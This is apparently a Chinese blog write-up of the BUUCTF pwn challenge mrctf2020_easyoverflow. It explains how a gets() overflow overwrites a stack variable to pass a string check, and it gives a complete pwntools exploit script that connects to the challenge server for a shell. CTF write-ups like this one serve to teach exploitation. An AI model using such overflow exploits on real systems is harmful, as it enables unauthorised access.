首页 > 技术文章 > [BUUCTF]PWN——mrctf2020_easyoverflow

xlrp 2021-01-12 10:15 原文

mrctf2020_easyoverflow

附件

步骤:

  1. 例行检查,64位程序,保护全开
    在这里插入图片描述
  2. 本地试运行的时候就直接一个输入,然后就没了,直接用64位ida打开
    在这里插入图片描述
    只要满足18行的条件,就能够获取shell
  3. check()
    在这里插入图片描述
    很简单的检查,就是判断一下v5是否等于n0t_r3@11y_f1@g
  4. 看main函数可以知道,v5一开始是ju3t_@_f@k3_f1@g,之后没有对v5的操作了,然后让我们输入v4,看一下v4和v5在栈上的位置,发现v5就在v4下方不远处
    在这里插入图片描述
    v4的输入是用的gets函数,我们可以在读入v4的时候将v5覆写成n0t_r3@11y_f1@g从而获取shell
payload=‘a’*0x30+n0t_r3@11y_f1@g

完整exp

from pwn import *

r=remote("node3.buuoj.cn",25779)
payload='a'*0x30+"n0t_r3@11y_f1@g"
r.sendline(payload)
r.interactive()

在这里插入图片描述

推荐阅读